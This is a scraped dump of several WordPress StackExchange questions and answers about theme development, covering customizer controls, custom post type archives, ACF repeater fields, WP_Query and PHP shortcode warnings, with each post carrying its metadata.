[ "https://wordpress.stackexchange.com/questions/286142", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/13090/" ]
I upgraded my dev environment to 4.9, and the customizer chokes on my \_underscores-based theme. The customizer works fine on TwentySixteen, so I think there is a problem with my theme. The tell was that the Customizer's Save & Publish button is missing entirely from the UI. Some other strange things happen, like the labels for my settings under the Colors panel are not visible until you click on the color picker. Firefox dev console says ``` TypeError: a.elements[0] is undefined [Learn More] load-scripts.php:6:12121 ``` And when I click [Learn more] it shows ``` <anonymous> http://localhost/test-site/wp-admin/load-scripts.php:6:12121 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 when/< http://localhost/test-site/wp-admin/load-scripts.php:2:4062 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 add http://localhost/test-site/wp-admin/load-scripts.php:2:27748 when http://localhost/test-site/wp-admin/load-scripts.php:2:3810 instance http://localhost/test-site/wp-admin/load-scripts.php:2:2847 f http://localhost/test-site/wp-admin/load-scripts.php:2:526 <anonymous> http://localhost/test-site/wp-admin/load-scripts.php:6:12068 i http://localhost/test-site/wp-admin/load-scripts.php:2:27444 fireWith http://localhost/test-site/wp-admin/load-scripts.php:2:28213 ready http://localhost/test-site/wp-admin/load-scripts.php:2:30004 K http://localhost/test-site/wp-admin/load-scripts.php:2:30366 ``` The front end seems to be working fine. Is there guidance for theme developers about the changes in the Customizer that 4.9 has delivered? I don't know what I should be looking for. UPDATE: I tested this theme on my SiteGround account to make sure the problem wasn't something related to my local machine or server instance. The same issue exists on one of my live sites on SiteGround only after I updated it to 4.9, so I believe this is definitely a problem between my theme and the latest version of WP.
I found the line of code in my theme that is breaking the customizer in 4.9. Behold! ``` $wp_customize->remove_setting( 'header_textcolor' ); ```
286,193
<p>I am currently despairing on a for me very strange behaviour when echoing php values to html table cells.</p> <p>I simply want to loop through an array and print out the values into a table but only some information is shown under special conditions.</p> <p>Outside of the table the values are shown.</p> <pre><code>&lt;?php foreach ($mpbs_overview_tab4_bookings as $tab4_arr) { echo "&lt;tr&gt;"; $tab4startDate = new DateTime($tab4_arr-&gt;starttime); $tab4endDate = new DateTime($tab4_arr-&gt;endtime); echo '&lt;td&gt;' . $tab4startDate-&gt;format('d.m.Y H:i') .'&lt;/td&gt;'; echo '&lt;td&gt;' . $tab4endDate-&gt;format('d.m.Y') .'&lt;/td&gt;'; echo '&lt;td&gt;' . $tab4_arr-&gt;username .'&lt;/td&gt;'; echo "&lt;/tr&gt;"; } ?&gt; </code></pre> <p>Using this code, <code>$tab4startDate-&gt;format('d.m.Y H:i')</code> is shown, <code>$tab4endDate-&gt;format('d.m.Y')</code> not. Adding <code>H:i</code> to <code>$tab4endDate</code>s format results to the fact, that it is shown again. </p> <p><code>$tab4_arr-&gt;username</code> is also not shown. If I change content to </p> <pre><code>echo "&lt;td&gt;"; echo $tab4startDate-&gt;format('d.m.Y H:i'); echo $tab4_arr-&gt;username; echo "&lt;/td&gt;"; </code></pre> <p>for testing purposes, also the username is visible...</p> <p>Has anybody an idea, what I am doing wrong?</p> <p>This is my array:</p> <pre><code>{"id":"185","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"186","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"187","starttime":"2017-11-19 00:00:00","endtime":"2017-11-22 00:00:00","username":"lsgit"}, {"id":"188","starttime":"2017-11-30 00:00:00","endtime":"2017-12-03 00:00:00","username":"lsgit"}, {"id":"189","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"190","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"191","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"} </code></pre>
[ { "answer_id": 286194, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>You have an error here <code>echo '&lt;td&gt;' . $tab4_arr-&gt;username; .'&lt;/td&gt;';</code></p>\n\n...
2017/11/17
[ "https://wordpress.stackexchange.com/questions/286193", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131668/" ]
I am currently despairing on a for me very strange behaviour when echoing php values to html table cells. I simply want to loop through an array and print out the values into a table but only some information is shown under special conditions. Outside of the table the values are shown. ``` <?php foreach ($mpbs_overview_tab4_bookings as $tab4_arr) { echo "<tr>"; $tab4startDate = new DateTime($tab4_arr->starttime); $tab4endDate = new DateTime($tab4_arr->endtime); echo '<td>' . $tab4startDate->format('d.m.Y H:i') .'</td>'; echo '<td>' . $tab4endDate->format('d.m.Y') .'</td>'; echo '<td>' . $tab4_arr->username .'</td>'; echo "</tr>"; } ?> ``` Using this code, `$tab4startDate->format('d.m.Y H:i')` is shown, `$tab4endDate->format('d.m.Y')` not. Adding `H:i` to `$tab4endDate`s format results to the fact, that it is shown again. `$tab4_arr->username` is also not shown. If I change content to ``` echo "<td>"; echo $tab4startDate->format('d.m.Y H:i'); echo $tab4_arr->username; echo "</td>"; ``` for testing purposes, also the username is visible... Has anybody an idea, what I am doing wrong? This is my array: ``` {"id":"185","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"186","starttime":"2017-11-26 00:00:00","endtime":"2017-11-29 00:00:00","username":"lsgit"}, {"id":"187","starttime":"2017-11-19 00:00:00","endtime":"2017-11-22 00:00:00","username":"lsgit"}, {"id":"188","starttime":"2017-11-30 00:00:00","endtime":"2017-12-03 00:00:00","username":"lsgit"}, {"id":"189","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"190","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"}, {"id":"191","starttime":"2017-12-05 00:00:00","endtime":"2017-12-08 00:00:00","username":"lsgit"} ```
You have an error here `echo '<td>' . $tab4_arr->username; .'</td>';` Remove the **;**
286,234
<p>In the Header Image panel, there is a description that says:</p> <p><em>Click “Add new image” to upload an image file from your computer. Your theme works best with an image with a header size of 1200 × 280 pixels — you’ll be able to crop your image once you upload it for a perfect fit.</em></p> <p>I'm trying to change this text with this:</p> <pre><code>$wp_customize-&gt;get_control( 'header_image' )-&gt;description = 'New text here'; </code></pre> <p>But its not working. Am I missing something here? </p>
[ { "answer_id": 286263, "author": "Lovin Nagi", "author_id": 102970, "author_profile": "https://wordpress.stackexchange.com/users/102970", "pm_score": 0, "selected": false, "text": "<pre><code>function change_header_image_desc( $translated_text ) {\n if ( $translated_text == 'While you...
2017/11/17
[ "https://wordpress.stackexchange.com/questions/286234", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/40536/" ]
In the Header Image panel, there is a description that says: *Click “Add new image” to upload an image file from your computer. Your theme works best with an image with a header size of 1200 × 280 pixels — you’ll be able to crop your image once you upload it for a perfect fit.* I'm trying to change this text with this: ``` $wp_customize->get_control( 'header_image' )->description = 'New text here'; ``` But its not working. Am I missing something here?
The `description` param unfortunately is not used in this control. You can see that the message is [hard-coded in the control's template](https://github.com/WordPress/wordpress-develop/blob/4af1237176c326e7840361fd580fdc3f97841e6a/src/wp-includes/customize/class-wp-customize-header-image-control.php#L174). That should be changed in core, but in the mean time, you can enqueue some JS at the `customize_controls_enqueue_scripts` action with the dependency of `customize-controls` which does this: ``` wp.customize.control( 'header_image', function( control ) { control.deferred.embedded.done( function() { var el = control.container.find( '.customize-control-description' ); el.html( control.params.description ); } ); } ); ``` This JS will continue to work if the control's `description` param starts to be used in core in a future release.
286,241
<p>My english is not very good looking.<br> I have several custom post types, 'noticias' (news) 'articulos' (articles), etc. In my functions.php i enqueue scripts and styles by post_id or post_type using a code like this:</p> <pre><code>function mahg_scripts_by_page() { global $post; $page_id = $post-&gt;ID; $post_type = $post-&gt;post_type; // var_dump($post_type); $noti = 'noticia'; // POST-TYPE noticia $arti = 'articulo'; // POST-TYPE articulo $com1 = 4; // that page id $com2 = 6; // that other page id // $etc if i needed $front_commons = array($noti, $arti, $com1, $com2, $etc); if ( is_home() || is_404() || is_single() || in_array($page_id, $front_commons, true) ) { wp_register_style('uikit_css', get_template_directory_uri().'/css/uikit.css', array(), '', 'all' ); wp_enqueue_style('uikit_css'); wp_register_script('uikit_js', get_template_directory_uri().'/js/uikit.min.js','','', true ); wp_enqueue_script('uikit_js'); if (is_home() ) { wp_register_style('slideshow_css', get_template_directory_uri().'/css/components/slideshow.css', array(), '', 'all' ); wp_enqueue_style('slideshow_css'); wp_register_script('slideshow_js', get_template_directory_uri().'/js/components/slideshow.min.js','','', true ); wp_enqueue_script('slideshow_js'); } // more scripts or styles from here } add_action('wp_enqueue_scripts', 'mahg_scripts_by_page' ); </code></pre> <p>I created the <code>archive-noticia.php</code> and <code>archive-articulo.php</code> in my theme folder. But when run the website the browser load the scripts and styles in articulo archive page but in noticia archive page don't. When i do <code>var_dump($post_type);</code> shows <code>'articulo' (length=8)</code> in articulo archive page. But shows <code>null</code> in noticia archive page and the others custom post types.<br> When i did the <code>register_post_type( 'articulo', $args);</code>, has_archive was set true. Same in noticia.</p> <pre><code>$singular = 'Artículo'; $plural = 'Artículos'; $labels = array( 'name' =&gt; $plural, 'singular_name' =&gt; $singular, 'add_new' =&gt; 'Nuevo ' . $singular, 'add_new_item' =&gt; 'Agregar nuevo ' . $singular, 'edit' =&gt; 'Editar', 'edit_item' =&gt; 'Editar ' . $singular, 'new_item' =&gt; 'Nuevo ' . $singular, 'view' =&gt; 'Ver ' . $singular, 'view_item' =&gt; 'Ver ' . $singular, 'search_term' =&gt; 'Buscar ' . $plural, 'parent' =&gt; 'Parent ' . $singular, 'not_found' =&gt; 'No se han encontrado ' . $plural, 'not_found_in_trash' =&gt; 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' =&gt; $labels, 'public' =&gt; true, 'publicly_queryable' =&gt; true, 'exclude_from_search' =&gt; false, 'show_in_nav_menus' =&gt; false, 'show_ui' =&gt; true, 'show_in_menu' =&gt; true, 'show_in_admin_bar' =&gt; false, 'menu_position' =&gt; 7, 'menu_icon' =&gt; 'dashicons-media-spreadsheet', 'can_export' =&gt; true, 'delete_with_user' =&gt; false, 'hierarchical' =&gt; true, 'has_archive' =&gt; true, 'query_var' =&gt; true, 'capability_type' =&gt; 'post', 'map_meta_cap' =&gt; true, 'rewrite' =&gt; true, 'rewrite' =&gt; array( 'slug' =&gt; 'articulos', 'with_front' =&gt; true, 'pages' =&gt; true, 'feeds' =&gt; false, ), 'supports' =&gt; array('title','editor','thumbnail','excerpt') ); register_post_type( 'articulo', $args); $singular = 'Noticia'; $plural = 'Noticias'; $labels = array( 'name' =&gt; $plural, 'singular_name' =&gt; $singular, 'add_new' =&gt; 'Nueva ' . $singular, 'add_new_item' =&gt; 'Agregar nueva ' . $singular, 'edit' =&gt; 'Editar', 'edit_item' =&gt; 'Editar ' . $singular, 'new_item' =&gt; 'Nueva ' . $singular, 'view' =&gt; 'Ver ' . $singular, 'view_item' =&gt; 'Ver ' . $singular, 'search_term' =&gt; 'Buscar ' . $plural, 'parent' =&gt; 'Parent ' . $singular, 'not_found' =&gt; 'No se han encontrado ' . $plural, 'not_found_in_trash' =&gt; 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' =&gt; $labels, 'public' =&gt; true, 'exclude_from_search' =&gt; false, 'publicly_queryable' =&gt; true, 'show_ui' =&gt; true, 'show_in_nav_menus' =&gt; false, 'show_in_menu' =&gt; true, 'show_in_admin_bar' =&gt; false, 'menu_position' =&gt; 6, 'menu_icon' =&gt; 'dashicons-media-document', 'capability_type' =&gt; 'post', 'map_meta_cap' =&gt; true, 'hierarchical' =&gt; true, 'supports' =&gt; array('title','editor','thumbnail','excerpt'), 'has_archive' =&gt; true, 'rewrite' =&gt; true, 'rewrite' =&gt; array( 'slug' =&gt; 'noticias', 'with_front' =&gt; true, 'pages' =&gt; true, 'feeds' =&gt; false, ), 'query_var' =&gt; true, 'can_export' =&gt; true, 'delete_with_user' =&gt; false, ); register_post_type( 'noticia', $args); </code></pre> <p>Why wordpress do that? What im doing wrong? </p>
[ { "answer_id": 286247, "author": "mhuenchul", "author_id": 131691, "author_profile": "https://wordpress.stackexchange.com/users/131691", "pm_score": -1, "selected": false, "text": "<p>Well, i found a solution in order to load scripts and styles in custom post types archive page, using <c...
2017/11/17
[ "https://wordpress.stackexchange.com/questions/286241", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131691/" ]
My english is not very good looking. I have several custom post types, 'noticias' (news) 'articulos' (articles), etc. In my functions.php i enqueue scripts and styles by post\_id or post\_type using a code like this: ``` function mahg_scripts_by_page() { global $post; $page_id = $post->ID; $post_type = $post->post_type; // var_dump($post_type); $noti = 'noticia'; // POST-TYPE noticia $arti = 'articulo'; // POST-TYPE articulo $com1 = 4; // that page id $com2 = 6; // that other page id // $etc if i needed $front_commons = array($noti, $arti, $com1, $com2, $etc); if ( is_home() || is_404() || is_single() || in_array($page_id, $front_commons, true) ) { wp_register_style('uikit_css', get_template_directory_uri().'/css/uikit.css', array(), '', 'all' ); wp_enqueue_style('uikit_css'); wp_register_script('uikit_js', get_template_directory_uri().'/js/uikit.min.js','','', true ); wp_enqueue_script('uikit_js'); if (is_home() ) { wp_register_style('slideshow_css', get_template_directory_uri().'/css/components/slideshow.css', array(), '', 'all' ); wp_enqueue_style('slideshow_css'); wp_register_script('slideshow_js', get_template_directory_uri().'/js/components/slideshow.min.js','','', true ); wp_enqueue_script('slideshow_js'); } // more scripts or styles from here } add_action('wp_enqueue_scripts', 'mahg_scripts_by_page' ); ``` I created the `archive-noticia.php` and `archive-articulo.php` in my theme folder. But when run the website the browser load the scripts and styles in articulo archive page but in noticia archive page don't. When i do `var_dump($post_type);` shows `'articulo' (length=8)` in articulo archive page. But shows `null` in noticia archive page and the others custom post types. When i did the `register_post_type( 'articulo', $args);`, has\_archive was set true. Same in noticia. ``` $singular = 'Artículo'; $plural = 'Artículos'; $labels = array( 'name' => $plural, 'singular_name' => $singular, 'add_new' => 'Nuevo ' . $singular, 'add_new_item' => 'Agregar nuevo ' . $singular, 'edit' => 'Editar', 'edit_item' => 'Editar ' . $singular, 'new_item' => 'Nuevo ' . $singular, 'view' => 'Ver ' . $singular, 'view_item' => 'Ver ' . $singular, 'search_term' => 'Buscar ' . $plural, 'parent' => 'Parent ' . $singular, 'not_found' => 'No se han encontrado ' . $plural, 'not_found_in_trash' => 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' => $labels, 'public' => true, 'publicly_queryable' => true, 'exclude_from_search' => false, 'show_in_nav_menus' => false, 'show_ui' => true, 'show_in_menu' => true, 'show_in_admin_bar' => false, 'menu_position' => 7, 'menu_icon' => 'dashicons-media-spreadsheet', 'can_export' => true, 'delete_with_user' => false, 'hierarchical' => true, 'has_archive' => true, 'query_var' => true, 'capability_type' => 'post', 'map_meta_cap' => true, 'rewrite' => true, 'rewrite' => array( 'slug' => 'articulos', 'with_front' => true, 'pages' => true, 'feeds' => false, ), 'supports' => array('title','editor','thumbnail','excerpt') ); register_post_type( 'articulo', $args); $singular = 'Noticia'; $plural = 'Noticias'; $labels = array( 'name' => $plural, 'singular_name' => $singular, 'add_new' => 'Nueva ' . $singular, 'add_new_item' => 'Agregar nueva ' . $singular, 'edit' => 'Editar', 'edit_item' => 'Editar ' . $singular, 'new_item' => 'Nueva ' . $singular, 'view' => 'Ver ' . $singular, 'view_item' => 'Ver ' . $singular, 'search_term' => 'Buscar ' . $plural, 'parent' => 'Parent ' . $singular, 'not_found' => 'No se han encontrado ' . $plural, 'not_found_in_trash' => 'No hay ' . $plural .' en la papelera' ); $args = array( 'labels' => $labels, 'public' => true, 'exclude_from_search' => false, 'publicly_queryable' => true, 'show_ui' => true, 'show_in_nav_menus' => false, 'show_in_menu' => true, 'show_in_admin_bar' => false, 'menu_position' => 6, 'menu_icon' => 'dashicons-media-document', 'capability_type' => 'post', 'map_meta_cap' => true, 'hierarchical' => true, 'supports' => array('title','editor','thumbnail','excerpt'), 'has_archive' => true, 'rewrite' => true, 'rewrite' => array( 'slug' => 'noticias', 'with_front' => true, 'pages' => true, 'feeds' => false, ), 'query_var' => true, 'can_export' => true, 'delete_with_user' => false, ); register_post_type( 'noticia', $args); ``` Why wordpress do that? What im doing wrong?
The global `$post` object represents the current post within [The Loop](https://codex.wordpress.org/The_Loop) and is created by the `the_post()` function. It enables functions like `the_title()`, `the_content()` etc. to show the title and content for the current post without needing to pass IDs or anything. This is why a post type archive doesn't have a `$post` object set when you're enqueuing scripts. Why would it? What post would it represent? What would `$post->post_author` be for a post type archive? It doesn't make sense to have one because an archive is not a post. The correct solution is the one you found: The `is_post_type_archive()` function. Under the hood it checks the main *Query* to see if it is for the archive for a post type.
286,262
<p>I am using a Repeater of Advance custom field for the content of the my additional custom WooCommerce Tab. The repeater is inside a group field. I manage to display the custom fields that is outside the repeater field. Now the problem is the field inside my repeater field. The repeater field is not displaying. Here is the code I used in my functions.php</p> <p>// Add a Custom Tab</p> <pre><code>add_filter( 'woocommerce_product_tabs', 'dl_custom_product_designer_tab' ); function dl_custom_product_designer_tab( $tabs ) { // ensure ACF is available if ( !function_exists( 'have_rows' ) ) return; if ( get_field('designer') ) { $tabs[] = array( 'title' =&gt; 'DESIGNER', 'priority' =&gt; 50, 'callback' =&gt; 'dl_custom_designer_tab' ); } return $tabs; } function dl_custom_designer_tab() { $designer = get_field('designer'); echo '&lt;p&gt;'.$designer['designer_image'].'&lt;/p&gt;'; echo '&lt;p&gt;'.$designer['designer_name'].'&lt;/p&gt;'; echo '&lt;p&gt;'.$designer['designer_short_description'].'&lt;/p&gt;'; // loop through the rows of data $achievements = get_field('designer_achievements'); if( $achievements ) { // loop through the rows of data echo '&lt;ul&gt;'; foreach($achievements as $achievement){ // display a sub field value echo '&lt;li&gt;'.$achievement['achievement'].'&lt;/li&gt;'; } echo '&lt;/ul&gt;'; } } </code></pre>
[ { "answer_id": 286247, "author": "mhuenchul", "author_id": 131691, "author_profile": "https://wordpress.stackexchange.com/users/131691", "pm_score": -1, "selected": false, "text": "<p>Well, i found a solution in order to load scripts and styles in custom post types archive page, using <c...
2017/11/18
[ "https://wordpress.stackexchange.com/questions/286262", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130624/" ]
I am using a Repeater of Advance custom field for the content of the my additional custom WooCommerce Tab. The repeater is inside a group field. I manage to display the custom fields that is outside the repeater field. Now the problem is the field inside my repeater field. The repeater field is not displaying. Here is the code I used in my functions.php // Add a Custom Tab ``` add_filter( 'woocommerce_product_tabs', 'dl_custom_product_designer_tab' ); function dl_custom_product_designer_tab( $tabs ) { // ensure ACF is available if ( !function_exists( 'have_rows' ) ) return; if ( get_field('designer') ) { $tabs[] = array( 'title' => 'DESIGNER', 'priority' => 50, 'callback' => 'dl_custom_designer_tab' ); } return $tabs; } function dl_custom_designer_tab() { $designer = get_field('designer'); echo '<p>'.$designer['designer_image'].'</p>'; echo '<p>'.$designer['designer_name'].'</p>'; echo '<p>'.$designer['designer_short_description'].'</p>'; // loop through the rows of data $achievements = get_field('designer_achievements'); if( $achievements ) { // loop through the rows of data echo '<ul>'; foreach($achievements as $achievement){ // display a sub field value echo '<li>'.$achievement['achievement'].'</li>'; } echo '</ul>'; } } ```
The global `$post` object represents the current post within [The Loop](https://codex.wordpress.org/The_Loop) and is created by the `the_post()` function. It enables functions like `the_title()`, `the_content()` etc. to show the title and content for the current post without needing to pass IDs or anything. This is why a post type archive doesn't have a `$post` object set when you're enqueuing scripts. Why would it? What post would it represent? What would `$post->post_author` be for a post type archive? It doesn't make sense to have one because an archive is not a post. The correct solution is the one you found: The `is_post_type_archive()` function. Under the hood it checks the main *Query* to see if it is for the archive for a post type.
286,268
<p>I am working on a WordPress theme and need to allow theme users to set different values for some controls for each device (desktop, tablet, mobile) I am thinking to show/hide device specific variant of some controls on the basis of what device/size user is previewing in customizer (desktop, tablet, mobile).</p> <p>Is there a way to show/hide controls when user switch devices from customizer responsive previewer?</p> <p><strong>Also note that I am using Kirki for all my customizer controls, all done using kirki.</strong></p> <p>Here is a use case to understand this better. I got a typography control for headlines as follows.</p> <pre><code>Kirki::add_field( 'start', array( 'type' =&gt; 'typography', 'settings' =&gt; 'headings_typography', 'label' =&gt; __( 'Headings', 'start' ), 'section' =&gt; 'base_typography', 'transport' =&gt; 'auto', 'default' =&gt; array( 'font-family' =&gt; '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif', 'variant' =&gt; 'regular', ), 'output' =&gt; array( array( 'element' =&gt; array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ), ) ); </code></pre> <p>I may create 2 more variants of the same control each for (desktop, tablet &amp; mobile) and may output the values based on media queries. </p> <p>The only thing I am not able to do is how to show/hide control for device-specific preview in the customizer?</p> <p>TIA, Munir</p>
[ { "answer_id": 286294, "author": "Weston Ruter", "author_id": 8521, "author_profile": "https://wordpress.stackexchange.com/users/8521", "pm_score": 2, "selected": false, "text": "<p>I'm not familiar working with Kikri, but I've made a <a href=\"https://gist.github.com/westonruter/26ea572...
2017/11/18
[ "https://wordpress.stackexchange.com/questions/286268", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/42696/" ]
I am working on a WordPress theme and need to allow theme users to set different values for some controls for each device (desktop, tablet, mobile) I am thinking to show/hide device specific variant of some controls on the basis of what device/size user is previewing in customizer (desktop, tablet, mobile). Is there a way to show/hide controls when user switch devices from customizer responsive previewer? **Also note that I am using Kirki for all my customizer controls, all done using kirki.** Here is a use case to understand this better. I got a typography control for headlines as follows. ``` Kirki::add_field( 'start', array( 'type' => 'typography', 'settings' => 'headings_typography', 'label' => __( 'Headings', 'start' ), 'section' => 'base_typography', 'transport' => 'auto', 'default' => array( 'font-family' => '-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif', 'variant' => 'regular', ), 'output' => array( array( 'element' => array( 'h1', 'h2', 'h3', 'h4', 'h5', 'h6' ), ), ), ) ); ``` I may create 2 more variants of the same control each for (desktop, tablet & mobile) and may output the values based on media queries. The only thing I am not able to do is how to show/hide control for device-specific preview in the customizer? TIA, Munir
I'm not familiar working with Kikri, but I've made a [standalone example plugin](https://gist.github.com/westonruter/26ea57217efc074b2a948e32a61897f9) that shows the approach I'd use to get controls to be contextual based on the previewed device. The plugin adds colored outlines around each element in the site, with a different color for elements in desktop, tablet, and mobile (obviously just for demonstration purposes). There are then color controls specific to each device, and only the device for the current previewed device is shown at a given time. The key logic in the plugin is found in `wpse-286268-controls.js`: ``` _.each( component.deviceControls, function( controlId, deviceSlug ) { api.control( controlId, function( control ) { function isActive() { return deviceSlug === api.state( 'previewedDevice' ).get(); } // Set initial active state. control.active.set( isActive ); // Update active state whenever previewd device changes. api.state( 'previewedDevice' ).bind( function() { control.active.set( isActive ); } ); // Override whatever the active_callback may send from server when preview loads. control.active.validate = isActive; } ); } ); ``` The `isActive` function returns whether the control should be active according to the current previewed device, and then this function is used to set each control's active state, and then each control's `active` state is updated when the `previewedDevice` state changes. Lastly, since these controls are registered with PHP, we override the `validate` method to prevent the `active_callback` for the control from overriding the `active` state we set in JS (whenever the preview refreshes the `active_callback` for the control will be called on the server and sent back when the preview refreshes to update the `active` state).
286,271
<p>I have two machines: local and deployment.</p> <p>On my local machine I have the code: </p> <pre><code>$all_prods = array( 'posts_per_page' =&gt; -1, 'post_type' =&gt; 'product', ); dump(query_posts($all_prods)); </code></pre> <p>The result I'm getting is my three products, that I've created earlier. But the same code on deployment machine returns an empty array despite of the website has many products in it.</p> <p>I thought that somehow deployment machine has the other prefix for it's post type, than my local one, but when I type on deployment machine:</p> <pre><code>$prod = wc_get_product(440); dump($prod); </code></pre> <p>I get <strong>WC_Simple_Product</strong> object with field <strong>"post_type"</strong> equal to <strong>"product"</strong>. How can I debug it?</p>
[ { "answer_id": 286273, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>First I would state that in most cases the <code>query_posts</code> should be avoided!</p>\n\n<blockquo...
2017/11/18
[ "https://wordpress.stackexchange.com/questions/286271", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130777/" ]
I have two machines: local and deployment. On my local machine I have the code: ``` $all_prods = array( 'posts_per_page' => -1, 'post_type' => 'product', ); dump(query_posts($all_prods)); ``` The result I'm getting is my three products, that I've created earlier. But the same code on deployment machine returns an empty array despite of the website has many products in it. I thought that somehow deployment machine has the other prefix for it's post type, than my local one, but when I type on deployment machine: ``` $prod = wc_get_product(440); dump($prod); ``` I get **WC\_Simple\_Product** object with field **"post\_type"** equal to **"product"**. How can I debug it?
I've found the solution. ``` $query = new WP_Query(); $all_prods = array( 'posts_per_page' => -1, 'post_type' => 'product', ); $query = new WP_Query($all_prods); echo $query->request . '<BR>'; ``` The output was different on 2 machines, there was a problem with a multilanguage plugin that automatically added a second table and made inner join with it.
286,320
<p>I'm planning on enforcing a rule in my project to write the codes for a single filter or hook in a single function for easier code maintenance, so instead of having</p> <pre><code>add_filter('wp','function_a'); function_a() { //code A goes here } add_filter('wp','function_b'); function_b() { //code B goes here } </code></pre> <p>It will be reduced to:</p> <pre><code>add_filter('wp','function_ab'); function_ab() { //code A goes here //code B goes here } </code></pre> <p>My question is, is there also a significant performance benefit by doing this? </p>
[ { "answer_id": 286273, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 2, "selected": false, "text": "<p>First I would state that in most cases the <code>query_posts</code> should be avoided!</p>\n\n<blockquo...
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286320", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131733/" ]
I'm planning on enforcing a rule in my project to write the codes for a single filter or hook in a single function for easier code maintenance, so instead of having ``` add_filter('wp','function_a'); function_a() { //code A goes here } add_filter('wp','function_b'); function_b() { //code B goes here } ``` It will be reduced to: ``` add_filter('wp','function_ab'); function_ab() { //code A goes here //code B goes here } ``` My question is, is there also a significant performance benefit by doing this?
I've found the solution. ``` $query = new WP_Query(); $all_prods = array( 'posts_per_page' => -1, 'post_type' => 'product', ); $query = new WP_Query($all_prods); echo $query->request . '<BR>'; ``` The output was different on 2 machines, there was a problem with a multilanguage plugin that automatically added a second table and made inner join with it.
286,332
<p>My debug.log has the following message that points to /wp-includes/shortcodes.php on line 319, which is part of WordPress core and probably isn't where the real error is in the code.</p> <pre><code>PHP Deprecated: Non-static method RSSjbClass::RSSjb_funct() should not be called statically in /.../wp-includes/shortcodes.php on line 319 </code></pre> <p>I've looked at line 319 and it doesn't help me find or solve the problem. I searched the code and found this with the Class and funct but I don't know what is non-static being called statically.</p> <pre><code>/** * Add shortcode to wordpress */ // add_shortcode('RSSjb', 'RSSjb_funct'); add_shortcode('RSSjb', array('RSSjbClass', 'RSSjb_funct')); /** * Shortcode Class and Function */ class RSSjbClass { function RSSjb_funct($atts) { extract(shortcode_atts(array( // attributes for Google News "gsearch" =&gt; '', "topic" =&gt; '', "location" =&gt; '', "geo" =&gt; '', "feed" =&gt; '', // required "filter" =&gt; '', "num" =&gt; '5', "ltime" =&gt; '', "list" =&gt; 'ul', "target" =&gt; '_blank', "pubdate" =&gt; 'false', "pubtime" =&gt; 'false', "dformat" =&gt; get_option('date_format'), "tformat" =&gt; get_option('time_format'), "pubauthor" =&gt; 'true', "excerpt" =&gt; 'false', "charex" =&gt; '', "chartle" =&gt; '', "title" =&gt; '', "link" =&gt; 'false', "sort" =&gt; 'false', "cachefeed" =&gt; '3600' ), $atts)); </code></pre> <p>followed by several "ifs" and then</p> <pre><code> // call the function to read and display the feed items list return $tle . rssjb_List($feed, $filter, $num, $ltime, $list, $target, $pubdate, $pubtime, $dformat, $tformat, $pubauthor, $excerpt, $charex, $chartle, $sort, $cachefeed); } else { return '&lt;br&gt;RSS or Atom Feed URL not provided. This shortcode does require the attribute feed or location (if Google News).&lt;br /&gt; Ex: &lt;code&gt;[RSSjb feed = "http://your-rss-or-atom-feed-URL-here"]&lt;/code&gt;.'; } } } </code></pre> <p>How do I modify that to fit with what is in /wp-includes/shortcodes.php line 319, which is:</p> <pre><code> $output = $m[1] . call_user_func( $shortcode_tags[ $tag ], $attr, $content, $tag ) . $m[6]; /** * Filters the output created by a shortcode callback. * * @since 4.7.0 * * @param string $output Shortcode output. * @param string $tag Shortcode name. * @param array|string $attr Shortcode attributes array or empty string. * @param array $m Regular expression match array. */ return apply_filters( 'do_shortcode_tag', $output, $tag, $attr, $m ); } </code></pre> <p>I searched the PHP Manual and it doesn't have anything about shortcodes.</p>
[ { "answer_id": 286333, "author": "Jacob Peattie", "author_id": 39152, "author_profile": "https://wordpress.stackexchange.com/users/39152", "pm_score": 4, "selected": true, "text": "<p>Shortcodes are a WordPress thing, hence not being in the PHP manual. What you <em>do</em> want to look a...
2017/11/19
[ "https://wordpress.stackexchange.com/questions/286332", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/130475/" ]
